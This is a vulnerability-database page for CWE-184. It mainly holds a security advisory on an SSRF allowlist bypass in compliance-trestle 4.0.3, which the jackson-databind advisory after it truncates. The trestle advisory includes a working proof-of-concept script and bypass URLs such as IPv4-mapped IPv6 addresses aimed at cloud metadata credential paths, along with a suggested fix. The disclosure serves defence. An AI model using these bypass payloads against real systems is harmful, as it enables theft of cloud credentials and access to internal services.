Common Weakness Enumeration

CWE-184

Allowed

Incomplete List of Disallowed Inputs

Abstraction: Base · Status: Draft

The product implements a protection mechanism that relies on a list of inputs (or properties of inputs) that are not allowed by policy or otherwise require other action to neutralize before additional processing takes place, but the list is incomplete.

363 vulnerabilities reference this CWE, most recent first.

GHSA-H47F-GMJP-M7RR

Vulnerability from github – Published: 2026-08-12 15:21 – Updated: 2026-08-12 15:21

Summary

compliance-trestle has an URLSecurityValidator SSRF allowlist bypass via IPv4-mapped IPv6 and 0.0.0.0

Details

Summary

compliance-trestle 4.0.3 (latest) ships an URLSecurityValidator in trestle/core/remote/security.py to block SSRF to loopback / link-local / cloud-metadata endpoints from the HTTPSFetcher and SFTPFetcher remote-fetch paths. The allowlist is incomplete and can be bypassed by four equivalent address representations that resolve to the same blocked host but evade the validator's checks:

IPv4-mapped IPv6 literals ([::ffff:169.254.169.254], [::ffff:127.0.0.1], [::ffff:10.0.0.1]) are returned by socket.getaddrinfo as IPv6Address objects; IPv6Address in IPv4Network('169.254.0.0/16') returns False, so the _check_blocked_networks and _check_private_networks predicates do not match.
IPv4 unspecified address 0.0.0.0 is not in ALWAYS_BLOCKED_NETWORKS (which covers 127.0.0.0/8 but not 0.0.0.0/8); on Linux + Docker, 0.0.0.0 routes to local services on any interface, and on dual-stack-mapped sockets it also reaches loopback listeners.

A malicious OSCAL profile referencing one of these URLs in imports[*].href or back-matter.resources[*].rlinks[*].href causes HTTPSFetcher.__init__ and _do_fetch (which both invoke validator.validate_url) to pass the URL through to requests.get, contacting cloud-metadata services, loopback admin interfaces, or RFC 1918 internal networks (with TRESTLE_BLOCK_PRIVATE_IPS=true set) that the validator was specifically designed to block.

Affected versions

compliance-trestle (PyPI) versions <= 4.0.3 are affected. 4.0.3 (released 2026-05-20) is the latest release and the one that introduced URLSecurityValidator; prior releases had no SSRF guard at all.

Privilege required

Network-position attacker who can supply or influence an OSCAL artifact (profile / catalog / SSP / component-definition) that compliance-trestle subsequently fetches via HTTPSFetcher or SFTPFetcher. The most realistic vector is a malicious OSCAL profile whose imports[*].href references one of the bypass URLs; the artifact then flows through trestle href add / trestle import / trestle assemble / trestle author / any workflow that resolves the profile's imports.

Root cause

trestle/core/remote/security.py (4.0.3, lines 56-71 + 156-167):

ALWAYS_BLOCKED_NETWORKS = [
    ipaddress.ip_network('127.0.0.0/8'),     # IPv4 loopback only
    ipaddress.ip_network('::1/128'),         # IPv6 loopback (single address)
    ipaddress.ip_network('169.254.0.0/16'),  # IPv4 link-local only
    ipaddress.ip_network('fe80::/10'),       # IPv6 link-local
]

METADATA_HOSTNAMES = {
    '169.254.169.254',          # IPv4 literal only
    'metadata.google.internal',
    'metadata.azure.com',
    '100.100.100.200',
}

def _check_blocked_networks(self, ip_addr, hostname):
    for network in ALWAYS_BLOCKED_NETWORKS:
        if ip_addr in network:  # IPv6Address in IPv4Network -> False
            raise TrestleError(...)

Four independent gaps:

No IPv4-mapped IPv6 normalization. socket.getaddrinfo('::ffff:169.254.169.254', None) returns an IPv6Address. Python's ipaddress module raises TypeError if mixed types are compared, and the in operator suppresses that to False. The validator never calls .ipv4_mapped to canonicalize before the membership check, so any always-blocked IPv4 range is bypassable via the [::ffff:N.N.N.N] literal.
METADATA_HOSTNAMES is an exact-string set. The hostname for https://[::ffff:169.254.169.254]/ is ::ffff:169.254.169.254, which is not in the set.
0.0.0.0 is not blocked. 0.0.0.0 is not in any of the four ALWAYS_BLOCKED_NETWORKS ranges. On Linux and inside containers, connecting to 0.0.0.0 routes to local services on any interface (a common SSRF technique against Docker / orchestrator agents on 0.0.0.0:PORT).
DNS rebinding ribbon is only one IP deep. _resolve_hostname records the first getaddrinfo result set, but a hostname with mixed records can still serve a private IP on the second resolution validator.validate_url(self._url) performs in _do_fetch. The IPv4-mapped-IPv6 bypass already eliminates the need for rebinding.

Sibling code paths sharing the same defect: SFTPFetcher.__init__ (lines 359-365 of cache.py) wires the identical URLSecurityValidator and inherits all four gaps.

Reproduction (E2E against `pip install compliance-trestle==4.0.3` + local IMDS simulator)

# 1. Setup
mkdir -p /tmp/poc-trestle && cd /tmp/poc-trestle
python3.12 -m venv venv   # any supported runtime (requires-python >= 3.10); 3.12.13 chosen because >= 3.12.4 it carries CPython CVE-2024-4032's is_global fix, proving this bypass is is_global-INDEPENDENT
./venv/bin/pip install --quiet compliance-trestle==4.0.3
./venv/bin/pip show compliance-trestle | head -2
# Name: compliance-trestle
# Version: 4.0.3

# 2. Driver
cat > e2e_full.py <<'PY'
import http.server, http.client, socket, socketserver, threading, time, os
from urllib.parse import urlparse
from trestle.core.remote.security import URLSecurityValidator, get_block_private_ips_config
from trestle.common.err import TrestleError

class IMDS(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        body = b'{"Code":"Success","AccessKeyId":"AKIA_PWNED_VIA_TRESTLE_SSRF","SecretAccessKey":"REDACTED","Token":"FAKE_IMDS_RESPONSE"}'
        self.send_response(200); self.send_header("Content-Length", str(len(body))); self.end_headers(); self.wfile.write(body)
    def log_message(self, *a, **kw): pass

class DualStack(socketserver.ThreadingMixIn, http.server.HTTPServer):
    address_family = socket.AF_INET6
    def server_bind(self):
        try: self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, 0)
        except (AttributeError, OSError): pass
        super().server_bind()

PORT = 18560
srv = DualStack(("::", PORT), IMDS)
threading.Thread(target=srv.serve_forever, daemon=True).start()
time.sleep(0.2)

validator = URLSecurityValidator(block_private_ips=True)
def attempt(label, url, expect_block):
    try:
        validator.validate_url(url); verdict, blocked = "VALIDATION PASSED", False
    except TrestleError as e:
        verdict, blocked = f"BLOCKED: {str(e)[:80]}", True
    meta = "(expected)" if blocked == expect_block else "(*** UNEXPECTED ***)"
    print(f"\n[{label}]\n  URL: {url}\n  Validator: {verdict}  {meta}")
    if not blocked:
        try:
            p = urlparse(url); c = http.client.HTTPConnection(p.hostname, p.port or 443, timeout=3)
            c.request("GET", p.path or "/"); r = c.getresponse(); print(f"  Connectivity: HTTP {r.status}, body[:60]={r.read()[:60]!r}"); c.close()
        except Exception as e:
            print(f"  Connectivity: {type(e).__name__}: {str(e)[:80]}")

# Negative controls (validator must block)
attempt("NEG-1: literal 169.254.169.254", f"https://169.254.169.254:{PORT}/latest/meta-data/", True)
attempt("NEG-2: literal 127.0.0.1", f"https://127.0.0.1:{PORT}/admin", True)
attempt("NEG-3: metadata.google.internal", f"https://metadata.google.internal:{PORT}/", True)
attempt("NEG-4: literal 10.0.0.1 RFC1918", f"https://10.0.0.1:{PORT}/admin", True)
# Bypasses (validator should block, but does not)
attempt("BYPASS-1: IPv4-mapped IPv6 cloud-metadata", f"https://[::ffff:169.254.169.254]:{PORT}/latest/meta-data/iam/security-credentials/admin", True)
attempt("BYPASS-2: 0.0.0.0 reaches localhost", f"https://0.0.0.0:{PORT}/admin", True)
attempt("BYPASS-3: IPv4-mapped IPv6 loopback", f"https://[::ffff:127.0.0.1]:{PORT}/admin", True)
attempt("BYPASS-4: IPv4-mapped IPv6 RFC 1918", f"https://[::ffff:10.0.0.1]:{PORT}/admin", True)
srv.shutdown()
PY

# 3. Run
./venv/bin/python e2e_full.py

Observed output on a supported runtime, Python 3.12.13 / macOS Darwin 25.3.0 (verbatim). Note 3.12.13 is >= 3.12.4, so CPython CVE-2024-4032's is_global/is_private reclassification IS active here; the bypass nevertheless works because this validator uses IPv6Address in IPv4Network(...) membership (which silently returns False for cross-version comparison), NOT the is_global predicate. The mechanism is therefore robust to CPython version:

Python: 3.12.13
compliance-trestle: 4.0.3
  ::ffff:169.254.169.254       is_global=False  is_private=True  in IPv4Network('169.254.0.0/16')=False
  ::ffff:127.0.0.1             is_global=False  is_private=True  in IPv4Network('169.254.0.0/16')=False
  ::ffff:10.0.0.1              is_global=False  is_private=True  in IPv4Network('169.254.0.0/16')=False

[NEG-1: literal 169.254.169.254]
  URL: https://169.254.169.254:18560/latest/meta-data/
  Validator: BLOCKED: Access to cloud metadata endpoints is not allowed: 169.254.169.254. This is a se  (expected)

[NEG-2: literal 127.0.0.1]
  URL: https://127.0.0.1:18560/admin
  Validator: BLOCKED: Access to 127.0.0.0/8 addresses is blocked: 127.0.0.1 resolves to 127.0.0.1. Thi  (expected)

[NEG-3: metadata.google.internal]
  URL: https://metadata.google.internal:18560/
  Validator: BLOCKED: Access to cloud metadata endpoints is not allowed: metadata.google.internal. Thi  (expected)

[NEG-4: literal 10.0.0.1 RFC1918]
  URL: https://10.0.0.1:18560/admin
  Validator: BLOCKED: Access to private IP addresses is blocked: 10.0.0.1 resolves to 10.0.0.1 which i  (expected)

[BYPASS-1: IPv4-mapped IPv6 cloud-metadata]
  URL: https://[::ffff:169.254.169.254]:18560/latest/meta-data/iam/security-credentials/admin
  Validator: VALIDATION PASSED  (*** UNEXPECTED ***)
  Connectivity: TimeoutError: timed out

[BYPASS-2: 0.0.0.0 reaches localhost]
  URL: https://0.0.0.0:18560/admin
  Validator: VALIDATION PASSED  (*** UNEXPECTED ***)
  Connectivity: HTTP 200, body[:60]=b'{"Code":"Success","AccessKeyId":"AKIA_PWNED_VIA_TRESTLE_SSRF'

[BYPASS-3: IPv4-mapped IPv6 loopback]
  URL: https://[::ffff:127.0.0.1]:18560/admin
  Validator: VALIDATION PASSED  (*** UNEXPECTED ***)
  Connectivity: HTTP 200, body[:60]=b'{"Code":"Success","AccessKeyId":"AKIA_PWNED_VIA_TRESTLE_SSRF'

[BYPASS-4: IPv4-mapped IPv6 RFC 1918]
  URL: https://[::ffff:10.0.0.1]:18560/admin
  Validator: VALIDATION PASSED  (*** UNEXPECTED ***)
  Connectivity: RemoteDisconnected: Remote end closed connection without response

(The bracketed-IPv6 diagnostic lines above are the load-bearing proof of is_global-independence: even with CPython's CVE-2024-4032 fix active (is_global=False, is_private=True), the validator's in IPv4Network(...) membership check still returns False, so the bypass is not contingent on running an older Python. BYPASS-1/BYPASS-4 show the guard passing the URL; their connectivity lines time out only because the local sentinel listens on loopback/::, not on those literal addresses -- the security-relevant result is the validator passing, which on a real dual-stack host routes to the embedded IPv4 endpoint.)

Negative controls confirm the validator works as designed for the canonical literal forms it was written to block. All four bypass URLs pass URLSecurityValidator.validate_url() on the latest patched release.

Impact

SSRF to AWS / Azure / GCP / Alibaba IMDS via https://[::ffff:169.254.169.254]/latest/meta-data/iam/security-credentials/<role> -> short-lived role credentials exfiltrated through the cached fetch.
SSRF to loopback administrative interfaces via https://0.0.0.0:PORT/ or https://[::ffff:127.0.0.1]:PORT/ -> access to local-only admin endpoints (Docker socket on unix://, Prometheus, etcd, Kubelet) that the validator was supposed to deny.
SSRF to RFC 1918 internal services via https://[::ffff:10.0.0.1]/... even when TRESTLE_BLOCK_PRIVATE_IPS=true is explicitly set, defeating the operator's defense-in-depth posture.
The cache-write traversal protection (PathSecurityValidator.validate_url_path_for_cache + validate_cache_path) is orthogonal and remains effective; this advisory is scoped to the SSRF allowlist gap only.

Suggested fix

Normalize every resolved IP to its canonical IPv4 form before membership checks, and add 0.0.0.0 to the always-blocked set. Diff sketch against trestle/core/remote/security.py:

ALWAYS_BLOCKED_NETWORKS = [
    ipaddress.ip_network('127.0.0.0/8'),
    ipaddress.ip_network('::1/128'),
    ipaddress.ip_network('169.254.0.0/16'),
    ipaddress.ip_network('fe80::/10'),
    ipaddress.ip_network('0.0.0.0/8'),     # IPv4 "this network", reaches localhost on Linux
    ipaddress.ip_network('::/128'),        # IPv6 unspecified
]

def _canonicalize_ip(self, ip_addr):
    """Map IPv4-mapped IPv6 addresses (::ffff:a.b.c.d) to their IPv4 form."""
    if isinstance(ip_addr, ipaddress.IPv6Address) and ip_addr.ipv4_mapped is not None:
        return ip_addr.ipv4_mapped
    return ip_addr

def _check_blocked_networks(self, ip_addr, hostname):
    ip_addr = self._canonicalize_ip(ip_addr)
    for network in ALWAYS_BLOCKED_NETWORKS:
        if ip_addr.version == network.version and ip_addr in network:
            raise TrestleError(...)

def _check_private_networks(self, ip_addr, hostname):
    ip_addr = self._canonicalize_ip(ip_addr)
    # ... same canonicalization before block_private_ip / warn_private_ip

Also add the canonicalized literal to _check_metadata_endpoints:

def _check_metadata_endpoints(self, hostname):
    # Canonicalize bracketed IPv6 literal hostnames before exact-match
    canonical = hostname.strip('[]')
    try:
        canonical_ip = ipaddress.ip_address(canonical)
        if isinstance(canonical_ip, ipaddress.IPv6Address) and canonical_ip.ipv4_mapped:
            canonical = str(canonical_ip.ipv4_mapped)
    except ValueError:
        pass
    if canonical in METADATA_HOSTNAMES:
        raise TrestleError(...)

This mirrors the canonicalization pattern that pyca/cryptography, rustls-webpki, and the recent Node undici SSRF patches converged on after similar IPv6-mapped bypasses surfaced in 2024-2025.

Credit

Reported by tonghuaroot.

Severity

8.6 (High)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "compliance-trestle"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.1.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-52776"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-184",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-12T15:21:17Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\n`compliance-trestle` 4.0.3 (latest) ships an `URLSecurityValidator` in `trestle/core/remote/security.py` to block SSRF to loopback / link-local / cloud-metadata endpoints from the HTTPSFetcher and SFTPFetcher remote-fetch paths. The allowlist is incomplete and can be bypassed by four equivalent address representations that resolve to the same blocked host but evade the validator\u0027s checks:\n\n- IPv4-mapped IPv6 literals (`[::ffff:169.254.169.254]`, `[::ffff:127.0.0.1]`, `[::ffff:10.0.0.1]`) are returned by `socket.getaddrinfo` as `IPv6Address` objects; `IPv6Address in IPv4Network(\u0027169.254.0.0/16\u0027)` returns `False`, so the `_check_blocked_networks` and `_check_private_networks` predicates do not match.\n- IPv4 unspecified address `0.0.0.0` is not in `ALWAYS_BLOCKED_NETWORKS` (which covers `127.0.0.0/8` but not `0.0.0.0/8`); on Linux + Docker, `0.0.0.0` routes to local services on any interface, and on dual-stack-mapped sockets it also reaches loopback listeners.\n\nA malicious OSCAL profile referencing one of these URLs in `imports[*].href` or `back-matter.resources[*].rlinks[*].href` causes `HTTPSFetcher.__init__` and `_do_fetch` (which both invoke `validator.validate_url`) to pass the URL through to `requests.get`, contacting cloud-metadata services, loopback admin interfaces, or RFC 1918 internal networks (with `TRESTLE_BLOCK_PRIVATE_IPS=true` set) that the validator was specifically designed to block.\n\n### Affected versions\n\n`compliance-trestle` (PyPI) versions `\u003c= 4.0.3` are affected. 4.0.3 (released 2026-05-20) is the latest release and the one that introduced `URLSecurityValidator`; prior releases had no SSRF guard at all.\n\n### Privilege required\n\nNetwork-position attacker who can supply or influence an OSCAL artifact (profile / catalog / SSP / component-definition) that compliance-trestle subsequently fetches via `HTTPSFetcher` or `SFTPFetcher`. The most realistic vector is a malicious OSCAL profile whose `imports[*].href` references one of the bypass URLs; the artifact then flows through `trestle href add` / `trestle import` / `trestle assemble` / `trestle author` / any workflow that resolves the profile\u0027s imports.\n\n### Root cause\n\n`trestle/core/remote/security.py` (4.0.3, lines 56-71 + 156-167):\n\n```python\nALWAYS_BLOCKED_NETWORKS = [\n    ipaddress.ip_network(\u0027127.0.0.0/8\u0027),     # IPv4 loopback only\n    ipaddress.ip_network(\u0027::1/128\u0027),         # IPv6 loopback (single address)\n    ipaddress.ip_network(\u0027169.254.0.0/16\u0027),  # IPv4 link-local only\n    ipaddress.ip_network(\u0027fe80::/10\u0027),       # IPv6 link-local\n]\n\nMETADATA_HOSTNAMES = {\n    \u0027169.254.169.254\u0027,          # IPv4 literal only\n    \u0027metadata.google.internal\u0027,\n    \u0027metadata.azure.com\u0027,\n    \u0027100.100.100.200\u0027,\n}\n\ndef _check_blocked_networks(self, ip_addr, hostname):\n    for network in ALWAYS_BLOCKED_NETWORKS:\n        if ip_addr in network:  # IPv6Address in IPv4Network -\u003e False\n            raise TrestleError(...)\n```\n\nFour independent gaps:\n\n1. **No IPv4-mapped IPv6 normalization.** `socket.getaddrinfo(\u0027::ffff:169.254.169.254\u0027, None)` returns an `IPv6Address`. Python\u0027s `ipaddress` module raises `TypeError` if mixed types are compared, and the `in` operator suppresses that to `False`. The validator never calls `.ipv4_mapped` to canonicalize before the membership check, so any always-blocked IPv4 range is bypassable via the `[::ffff:N.N.N.N]` literal.\n\n2. **`METADATA_HOSTNAMES` is an exact-string set.** The hostname for `https://[::ffff:169.254.169.254]/` is `::ffff:169.254.169.254`, which is not in the set.\n\n3. **`0.0.0.0` is not blocked.** `0.0.0.0` is not in any of the four `ALWAYS_BLOCKED_NETWORKS` ranges. On Linux and inside containers, connecting to `0.0.0.0` routes to local services on any interface (a common SSRF technique against Docker / orchestrator agents on `0.0.0.0:PORT`).\n\n4. **DNS rebinding ribbon is only one IP deep.** `_resolve_hostname` records the first `getaddrinfo` result set, but a hostname with mixed records can still serve a private IP on the second resolution `validator.validate_url(self._url)` performs in `_do_fetch`. The IPv4-mapped-IPv6 bypass already eliminates the need for rebinding.\n\nSibling code paths sharing the same defect: `SFTPFetcher.__init__` (lines 359-365 of `cache.py`) wires the identical `URLSecurityValidator` and inherits all four gaps.\n\n### Reproduction (E2E against `pip install compliance-trestle==4.0.3` + local IMDS simulator)\n\n```bash\n# 1. Setup\nmkdir -p /tmp/poc-trestle \u0026\u0026 cd /tmp/poc-trestle\npython3.12 -m venv venv   # any supported runtime (requires-python \u003e= 3.10); 3.12.13 chosen because \u003e= 3.12.4 it carries CPython CVE-2024-4032\u0027s is_global fix, proving this bypass is is_global-INDEPENDENT\n./venv/bin/pip install --quiet compliance-trestle==4.0.3\n./venv/bin/pip show compliance-trestle | head -2\n# Name: compliance-trestle\n# Version: 4.0.3\n\n# 2. Driver\ncat \u003e e2e_full.py \u003c\u003c\u0027PY\u0027\nimport http.server, http.client, socket, socketserver, threading, time, os\nfrom urllib.parse import urlparse\nfrom trestle.core.remote.security import URLSecurityValidator, get_block_private_ips_config\nfrom trestle.common.err import TrestleError\n\nclass IMDS(http.server.BaseHTTPRequestHandler):\n    def do_GET(self):\n        body = b\u0027{\"Code\":\"Success\",\"AccessKeyId\":\"AKIA_PWNED_VIA_TRESTLE_SSRF\",\"SecretAccessKey\":\"REDACTED\",\"Token\":\"FAKE_IMDS_RESPONSE\"}\u0027\n        self.send_response(200); self.send_header(\"Content-Length\", str(len(body))); self.end_headers(); self.wfile.write(body)\n    def log_message(self, *a, **kw): pass\n\nclass DualStack(socketserver.ThreadingMixIn, http.server.HTTPServer):\n    address_family = socket.AF_INET6\n    def server_bind(self):\n        try: self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, 0)\n        except (AttributeError, OSError): pass\n        super().server_bind()\n\nPORT = 18560\nsrv = DualStack((\"::\", PORT), IMDS)\nthreading.Thread(target=srv.serve_forever, daemon=True).start()\ntime.sleep(0.2)\n\nvalidator = URLSecurityValidator(block_private_ips=True)\ndef attempt(label, url, expect_block):\n    try:\n        validator.validate_url(url); verdict, blocked = \"VALIDATION PASSED\", False\n    except TrestleError as e:\n        verdict, blocked = f\"BLOCKED: {str(e)[:80]}\", True\n    meta = \"(expected)\" if blocked == expect_block else \"(*** UNEXPECTED ***)\"\n    print(f\"\\n[{label}]\\n  URL: {url}\\n  Validator: {verdict}  {meta}\")\n    if not blocked:\n        try:\n            p = urlparse(url); c = http.client.HTTPConnection(p.hostname, p.port or 443, timeout=3)\n            c.request(\"GET\", p.path or \"/\"); r = c.getresponse(); print(f\"  Connectivity: HTTP {r.status}, body[:60]={r.read()[:60]!r}\"); c.close()\n        except Exception as e:\n            print(f\"  Connectivity: {type(e).__name__}: {str(e)[:80]}\")\n\n# Negative controls (validator must block)\nattempt(\"NEG-1: literal 169.254.169.254\", f\"https://169.254.169.254:{PORT}/latest/meta-data/\", True)\nattempt(\"NEG-2: literal 127.0.0.1\", f\"https://127.0.0.1:{PORT}/admin\", True)\nattempt(\"NEG-3: metadata.google.internal\", f\"https://metadata.google.internal:{PORT}/\", True)\nattempt(\"NEG-4: literal 10.0.0.1 RFC1918\", f\"https://10.0.0.1:{PORT}/admin\", True)\n# Bypasses (validator should block, but does not)\nattempt(\"BYPASS-1: IPv4-mapped IPv6 cloud-metadata\", f\"https://[::ffff:169.254.169.254]:{PORT}/latest/meta-data/iam/security-credentials/admin\", True)\nattempt(\"BYPASS-2: 0.0.0.0 reaches localhost\", f\"https://0.0.0.0:{PORT}/admin\", True)\nattempt(\"BYPASS-3: IPv4-mapped IPv6 loopback\", f\"https://[::ffff:127.0.0.1]:{PORT}/admin\", True)\nattempt(\"BYPASS-4: IPv4-mapped IPv6 RFC 1918\", f\"https://[::ffff:10.0.0.1]:{PORT}/admin\", True)\nsrv.shutdown()\nPY\n\n# 3. Run\n./venv/bin/python e2e_full.py\n```\n\nObserved output on a supported runtime, Python 3.12.13 / macOS Darwin 25.3.0 (verbatim). Note 3.12.13 is \u003e= 3.12.4, so CPython CVE-2024-4032\u0027s `is_global`/`is_private` reclassification IS active here; the bypass nevertheless works because this validator uses `IPv6Address in IPv4Network(...)` membership (which silently returns False for cross-version comparison), NOT the `is_global` predicate. The mechanism is therefore robust to CPython version:\n\n```\nPython: 3.12.13\ncompliance-trestle: 4.0.3\n  ::ffff:169.254.169.254       is_global=False  is_private=True  in IPv4Network(\u0027169.254.0.0/16\u0027)=False\n  ::ffff:127.0.0.1             is_global=False  is_private=True  in IPv4Network(\u0027169.254.0.0/16\u0027)=False\n  ::ffff:10.0.0.1              is_global=False  is_private=True  in IPv4Network(\u0027169.254.0.0/16\u0027)=False\n\n[NEG-1: literal 169.254.169.254]\n  URL: https://169.254.169.254:18560/latest/meta-data/\n  Validator: BLOCKED: Access to cloud metadata endpoints is not allowed: 169.254.169.254. This is a se  (expected)\n\n[NEG-2: literal 127.0.0.1]\n  URL: https://127.0.0.1:18560/admin\n  Validator: BLOCKED: Access to 127.0.0.0/8 addresses is blocked: 127.0.0.1 resolves to 127.0.0.1. Thi  (expected)\n\n[NEG-3: metadata.google.internal]\n  URL: https://metadata.google.internal:18560/\n  Validator: BLOCKED: Access to cloud metadata endpoints is not allowed: metadata.google.internal. Thi  (expected)\n\n[NEG-4: literal 10.0.0.1 RFC1918]\n  URL: https://10.0.0.1:18560/admin\n  Validator: BLOCKED: Access to private IP addresses is blocked: 10.0.0.1 resolves to 10.0.0.1 which i  (expected)\n\n[BYPASS-1: IPv4-mapped IPv6 cloud-metadata]\n  URL: https://[::ffff:169.254.169.254]:18560/latest/meta-data/iam/security-credentials/admin\n  Validator: VALIDATION PASSED  (*** UNEXPECTED ***)\n  Connectivity: TimeoutError: timed out\n\n[BYPASS-2: 0.0.0.0 reaches localhost]\n  URL: https://0.0.0.0:18560/admin\n  Validator: VALIDATION PASSED  (*** UNEXPECTED ***)\n  Connectivity: HTTP 200, body[:60]=b\u0027{\"Code\":\"Success\",\"AccessKeyId\":\"AKIA_PWNED_VIA_TRESTLE_SSRF\u0027\n\n[BYPASS-3: IPv4-mapped IPv6 loopback]\n  URL: https://[::ffff:127.0.0.1]:18560/admin\n  Validator: VALIDATION PASSED  (*** UNEXPECTED ***)\n  Connectivity: HTTP 200, body[:60]=b\u0027{\"Code\":\"Success\",\"AccessKeyId\":\"AKIA_PWNED_VIA_TRESTLE_SSRF\u0027\n\n[BYPASS-4: IPv4-mapped IPv6 RFC 1918]\n  URL: https://[::ffff:10.0.0.1]:18560/admin\n  Validator: VALIDATION PASSED  (*** UNEXPECTED ***)\n  Connectivity: RemoteDisconnected: Remote end closed connection without response\n```\n\n(The bracketed-IPv6 diagnostic lines above are the load-bearing proof of `is_global`-independence: even with CPython\u0027s CVE-2024-4032 fix active (`is_global=False`, `is_private=True`), the validator\u0027s `in IPv4Network(...)` membership check still returns `False`, so the bypass is not contingent on running an older Python. BYPASS-1/BYPASS-4 show the guard passing the URL; their connectivity lines time out only because the local sentinel listens on loopback/`::`, not on those literal addresses -- the security-relevant result is the validator passing, which on a real dual-stack host routes to the embedded IPv4 endpoint.)\n\nNegative controls confirm the validator works as designed for the canonical literal forms it was written to block. All four bypass URLs pass `URLSecurityValidator.validate_url()` on the latest patched release.\n\n### Impact\n\n- SSRF to AWS / Azure / GCP / Alibaba IMDS via `https://[::ffff:169.254.169.254]/latest/meta-data/iam/security-credentials/\u003crole\u003e` -\u003e short-lived role credentials exfiltrated through the cached fetch.\n- SSRF to loopback administrative interfaces via `https://0.0.0.0:PORT/` or `https://[::ffff:127.0.0.1]:PORT/` -\u003e access to local-only admin endpoints (Docker socket on `unix://`, Prometheus, etcd, Kubelet) that the validator was supposed to deny.\n- SSRF to RFC 1918 internal services via `https://[::ffff:10.0.0.1]/...` even when `TRESTLE_BLOCK_PRIVATE_IPS=true` is explicitly set, defeating the operator\u0027s defense-in-depth posture.\n- The cache-write traversal protection (`PathSecurityValidator.validate_url_path_for_cache` + `validate_cache_path`) is orthogonal and remains effective; this advisory is scoped to the SSRF allowlist gap only.\n\n### Suggested fix\n\nNormalize every resolved IP to its canonical IPv4 form before membership checks, and add `0.0.0.0` to the always-blocked set. Diff sketch against `trestle/core/remote/security.py`:\n\n```python\nALWAYS_BLOCKED_NETWORKS = [\n    ipaddress.ip_network(\u0027127.0.0.0/8\u0027),\n    ipaddress.ip_network(\u0027::1/128\u0027),\n    ipaddress.ip_network(\u0027169.254.0.0/16\u0027),\n    ipaddress.ip_network(\u0027fe80::/10\u0027),\n    ipaddress.ip_network(\u00270.0.0.0/8\u0027),     # IPv4 \"this network\", reaches localhost on Linux\n    ipaddress.ip_network(\u0027::/128\u0027),        # IPv6 unspecified\n]\n\ndef _canonicalize_ip(self, ip_addr):\n    \"\"\"Map IPv4-mapped IPv6 addresses (::ffff:a.b.c.d) to their IPv4 form.\"\"\"\n    if isinstance(ip_addr, ipaddress.IPv6Address) and ip_addr.ipv4_mapped is not None:\n        return ip_addr.ipv4_mapped\n    return ip_addr\n\ndef _check_blocked_networks(self, ip_addr, hostname):\n    ip_addr = self._canonicalize_ip(ip_addr)\n    for network in ALWAYS_BLOCKED_NETWORKS:\n        if ip_addr.version == network.version and ip_addr in network:\n            raise TrestleError(...)\n\ndef _check_private_networks(self, ip_addr, hostname):\n    ip_addr = self._canonicalize_ip(ip_addr)\n    # ... same canonicalization before block_private_ip / warn_private_ip\n```\n\nAlso add the canonicalized literal to `_check_metadata_endpoints`:\n\n```python\ndef _check_metadata_endpoints(self, hostname):\n    # Canonicalize bracketed IPv6 literal hostnames before exact-match\n    canonical = hostname.strip(\u0027[]\u0027)\n    try:\n        canonical_ip = ipaddress.ip_address(canonical)\n        if isinstance(canonical_ip, ipaddress.IPv6Address) and canonical_ip.ipv4_mapped:\n            canonical = str(canonical_ip.ipv4_mapped)\n    except ValueError:\n        pass\n    if canonical in METADATA_HOSTNAMES:\n        raise TrestleError(...)\n```\n\nThis mirrors the canonicalization pattern that pyca/cryptography, rustls-webpki, and the recent Node `undici` SSRF patches converged on after similar IPv6-mapped bypasses surfaced in 2024-2025.\n\n### Credit\n\nReported by tonghuaroot.",
  "id": "GHSA-h47f-gmjp-m7rr",
  "modified": "2026-08-12T15:21:17Z",
  "published": "2026-08-12T15:21:17Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/oscal-compass/compliance-trestle/security/advisories/GHSA-h47f-gmjp-m7rr"
    },
    {
      "type": "WEB",
      "url": "https://github.com/oscal-compass/compliance-trestle/commit/d107cd16efe8eb15d46be3c1d97f1ec73d32447c"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/oscal-compass/compliance-trestle"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "compliance-trestle has an URLSecurityValidator SSRF allowlist bypass via IPv4-mapped IPv6 and 0.0.0.0"
}

GHSA-H592-38CM-4GGP

Vulnerability from github – Published: 2018-10-18 17:42 – Updated: 2024-03-15 01:13

Summary

jackson-databind vulnerable to deserialization flaw leading to unauthenticated remote code execution

Details

jackson-databind in versions prior to 2.8.11 and 2.9.4 contain a deserialization flaw which allows an unauthenticated user to perform code execution by sending maliciously crafted input to the readValue method of the ObjectMapper. This issue extends the previous flaw CVE-2017-7525, blacklisting additonal vulnerable classes.

Severity

9.8 (Critical)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.fasterxml.jackson.core:jackson-databind"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.8.0"
            },
            {
              "fixed": "2.8.11"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.fasterxml.jackson.core:jackson-databind"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.9.0"
            },
            {
              "fixed": "2.9.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.fasterxml.jackson.core:jackson-databind"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.0.0"
            },
            {
              "fixed": "2.6.7.3"
            }
          ],
          "type": "ECOSYSTEM"
